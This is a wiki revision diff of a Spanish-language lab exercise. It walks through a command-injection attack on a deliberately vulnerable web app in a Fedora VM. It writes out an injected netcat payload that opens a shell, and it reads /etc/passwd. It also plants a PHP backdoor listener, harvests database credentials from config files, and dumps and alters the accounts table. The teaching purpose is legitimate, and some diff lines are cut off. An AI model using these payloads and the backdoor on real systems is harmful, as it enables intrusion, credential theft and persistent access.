sad:fedora14:p3
Diferencias
Muestra las diferencias entre dos versiones de la página.
| Próxima revisión | Revisión previa | ||
| sad:fedora14:p3 [2018/01/27 22:37] – creado José Manuel Guallar | sad:fedora14:p3 [2019/01/04 13:18] (actual) – editor externo 127.0.0.1 | ||
|---|---|---|---|
| Línea 1: | Línea 1: | ||
| - | ¿Qué es Inyección de Comando? | + | ====== Inyección de comandos Netcat ====== |
| + | |||
| + | **¿Qué es Inyección de Comando?** | ||
| La Inyección de comandos ocurre cuando un atacante puede ejecutar comandos del sistema operativo o scripts en el servidor desde la aplicación web. | La Inyección de comandos ocurre cuando un atacante puede ejecutar comandos del sistema operativo o scripts en el servidor desde la aplicación web. | ||
| Línea 5: | Línea 7: | ||
| Esta potencial de vulnerabilidad se produce cuando una aplicación web le permiten hacer comúnmente un nslookup, whois, ping, traceroute y más cosas desde su página web. Puede probar la vulnerabilidad utilizando una técnica llamada fuzzing, donde un ";" | Esta potencial de vulnerabilidad se produce cuando una aplicación web le permiten hacer comúnmente un nslookup, whois, ping, traceroute y más cosas desde su página web. Puede probar la vulnerabilidad utilizando una técnica llamada fuzzing, donde un ";" | ||
| - | ¿Qué es netcat? | + | **¿Qué es netcat?** |
| Netcat es un servicio que se usa para leer y escribir usando protocolos TCP o UDP. Netcat está diseñado para ser un dispositivo de " | Netcat es un servicio que se usa para leer y escribir usando protocolos TCP o UDP. Netcat está diseñado para ser un dispositivo de " | ||
| Línea 13: | Línea 15: | ||
| Netcat a menudo se conoce como una " | Netcat a menudo se conoce como una " | ||
| - | + | ** | |
| - | Pre-requisito para hacer estas practicas | + | Pre-requisito para hacer estas practicas** |
| Tener instalado un Fedora \\ | Tener instalado un Fedora \\ | ||
| Línea 29: | Línea 31: | ||
| * Agregue un usuario a la tabla nowasp. accounts. | * Agregue un usuario a la tabla nowasp. accounts. | ||
| - | A continuación, | + | Lo primero de todo voy a ver que ip tiene cada una de las maquinas |
| + | * Fedora tiene 192.168.153.39 | ||
| + | * BT tiene 192.168.153.43 | ||
| + | |||
| + | {{: | ||
| + | |||
| + | Vamos como el ejercicio anterior a http:// | ||
| + | |||
| + | OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup | ||
| + | |||
| + | |||
| + | |||
| + | A continuación, | ||
| Instrucciones: | Instrucciones: | ||
| + | <code basH> | ||
| + | www.colegiomontessori.com; | ||
| + | </ | ||
| - | www.cnn.com; mkfifo / tmp / pipe; sh / tmp / pipe | nc -l 4444> / tmp / pipe | + | ** Hacemos un FIFO llamada pipe.** |
| - | Hacemos un FIFO llamada pipe. | ||
| Las (pipes)tuberías permiten que procesos separados se comuniquen sin haber sido diseñados explícitamente para funcionar juntos. | Las (pipes)tuberías permiten que procesos separados se comuniquen sin haber sido diseñados explícitamente para funcionar juntos. | ||
| + | |||
| Esto permitirá que dos procesos se conecten a netcat. | Esto permitirá que dos procesos se conecten a netcat. | ||
| - | nc -l 4444, le dice a netcat que escuche y permita conexiones en el puerto 4444. | ||
| - | NOTA: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA | + | **nc -l 4444,** le dice a netcat que escuche y permita conexiones en el puerto 4444. |
| + | |||
| + | |||
| + | {{: | ||
| + | {{: | ||
| + | |||
| + | **NOTA**: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA | ||
| Ahora tenemos que observar la pestaña superior izquierda, hay una rueda de conexión que gira constantemente. | Ahora tenemos que observar la pestaña superior izquierda, hay una rueda de conexión que gira constantemente. | ||
| Línea 46: | Línea 68: | ||
| También hay que observar en la esquina inferior izquierda, la barra de estado muestra los datos de transferencia de mensajes. | También hay que observar en la esquina inferior izquierda, la barra de estado muestra los datos de transferencia de mensajes. | ||
| - | Ambos mensajes son una buena señal de que Netcat se está ejecutando y escuchando una conexión. | + | Ambos mensajes son una buena señal de que Netcat se está ejecutando y escuchando una conexión.:?: |
| - | Conéctese a Netcat | + | ====== |
| - | + | ||
| - | Notas: | + | |
| Escribir las siguientes sentencias en el BackTrack | Escribir las siguientes sentencias en el BackTrack | ||
| - | Reemplace 192.168.1.111 | + | Reemplazar la ip con la dirección IP de tu Fedora. |
| - | Instrucciones: | + | <code bash> |
| + | root@bt:~# nc 192.168.153.39 4444 | ||
| + | </ | ||
| - | **nc 192.168.1.111 4444** | + | {{: |
| Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444 | Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444 | ||
| - | **hostname** | + | '' |
| Este es el nombre de host del servidor que aloja DVWA. | Este es el nombre de host del servidor que aloja DVWA. | ||
| - | **whoami** | + | '' |
| Es decir, ¿con quién me conecto? | Es decir, ¿con quién me conecto? | ||
| - | pwd | + | '' |
| directorio de trabajo | directorio de trabajo | ||
| - | uname -a | + | '' |
| - | muestra informacion del sistema | + | muestra informacion del sistema |
| - | cat /etc/passwd > passwd.txt | + | |
| + | '' | ||
| crea passwd.txt localizado en / | crea passwd.txt localizado en / | ||
| - | ls -l $PWD/ | + | |
| + | '' | ||
| lista el fichero passwd.txt | lista el fichero passwd.txt | ||
| - | volvemos al Firefox y abrimos otra pestaña y escribimos | + | {{: |
| - | http:// | + | **volvemos al Firefox y abrimos otra pestaña y escribimos** |
| - | Creación de una puerta trasera (PHP) | + | '' |
| - | Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack. | + | {{: |
| - | Ahora podemos crear un archivo en el servidor web Apache en el directorio / | + | ====== Creación de una puerta trasera (PHP) ====== |
| - | Vamos a crear un script | + | |
| + | Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack. | ||
| + | |||
| + | Ahora podemos | ||
| <code bash> | <code bash> | ||
| Línea 104: | Línea 131: | ||
| </ | </ | ||
| - | http:// | + | {{: |
| + | |||
| + | '' | ||
| + | |||
| + | Ejecutamos **nc_connect.php** | ||
| + | |||
| + | '' | ||
| + | |||
| + | veremos que en la web pone conectando..... | ||
| + | |||
| + | abrimos otro terminal en Backtrack y escribimos | ||
| + | |||
| + | <code bash> | ||
| + | |||
| + | root@bt:~# nc 192.168.153.39 3333 | ||
| + | whoami | ||
| + | ps -eaf | egrep ' | ||
| + | |||
| + | </ | ||
| + | |||
| + | {{: | ||
| + | {{: | ||
| + | |||
| + | Las dos primeras lineas es la ejecución del netcat via nslookup | ||
| + | |||
| + | las ultimas lineas el la puerta trasera | ||
| + | |||
| + | Para Listar todos los scripts que hay en php, la idea es la misma que la practica anterior, averiguar el usuario y la contraseña | ||
| + | |||
| + | primero vamos a ver nuestro directorio de trabajo | ||
| + | |||
| + | '' | ||
| + | |||
| + | luego vamos a contar los scripts\\ | ||
| + | |||
| + | '' | ||
| + | |||
| + | despues vamos a contar los archivos incluye de php\\ | ||
| + | |||
| + | '' | ||
| + | |||
| + | lo siguiente sera buscar en cada archivo include (.inc) las palabras " | ||
| + | |||
| + | {{: | ||
| + | |||
| + | <code bash> | ||
| + | find * -name " | ||
| + | </ | ||
| + | |||
| + | **find * -name " | ||
| + | |||
| + | ** xargs** construye y ejecutar líneas de comando desde entrada estándar | ||
| + | |||
| + | **grep -i password** busca la palabra password (ignora mayuscula y minusculas) | ||
| + | |||
| + | **egrep -i ' | ||
| + | |||
| + | {{: | ||
| + | |||
| + | <code bash> | ||
| + | find * -name " | ||
| + | </ | ||
| + | |||
| + | {{: | ||
| + | ahora buscamos lo mismo pero solo mostramos las 8 primeras lineas de la cabecera, y observamos que el nombre del script que contiene la contraseña de la Base de datos es MySQLHandler.php | ||
| + | |||
| + | Buscamos información de autentificación en el archivo MySQLHandler.php buscamos las palabras password, username o database y el simbolo de = | ||
| + | |||
| + | <code bash> | ||
| + | find * -name " | ||
| + | </ | ||
| + | {{: | ||
| + | |||
| + | El siguiente comando muestra cómo ejecutar los comandos de la base de datos en la sesión de netcat. | ||
| + | |||
| + | <code php> | ||
| + | echo "show databases;" | ||
| + | echo "use nowasp; show tables;" | ||
| + | </ | ||
| + | |||
| + | {{: | ||
| + | |||
| + | Vamos a investigar el contenido de la tabla accounts | ||
| + | |||
| + | primer comando enseña los campos por columnas y por supuesto podemos ver el contenido de tablas | ||
| + | |||
| + | <code php> | ||
| + | echo "use nowasp; desc accounts;" | ||
| + | echo " | ||
| + | </ | ||
| + | |||
| + | {{: | ||
| + | |||
| + | ===== ahora vamos a crear un nuevo usuario en la tabla ===== | ||
| + | |||
| + | |||
| + | <code bash> | ||
| + | echo " | ||
| + | echo " | ||
| + | </ | ||
| + | {{: | ||
| + | |||
| + | |||
| + | '' | ||
| + | |||
| + | Tienes que realizar los siguientes pasos en el terminal de netcat nc_connect.php | ||
| + | |||
| + | <code bash> | ||
| + | echo " | ||
| + | netstat -nao | egrep ' | ||
| + | date | ||
| + | echo "tu nombre" | ||
| + | </ | ||
sad/fedora14/p3.1517092636.txt.gz · Última modificación: (editor externo)
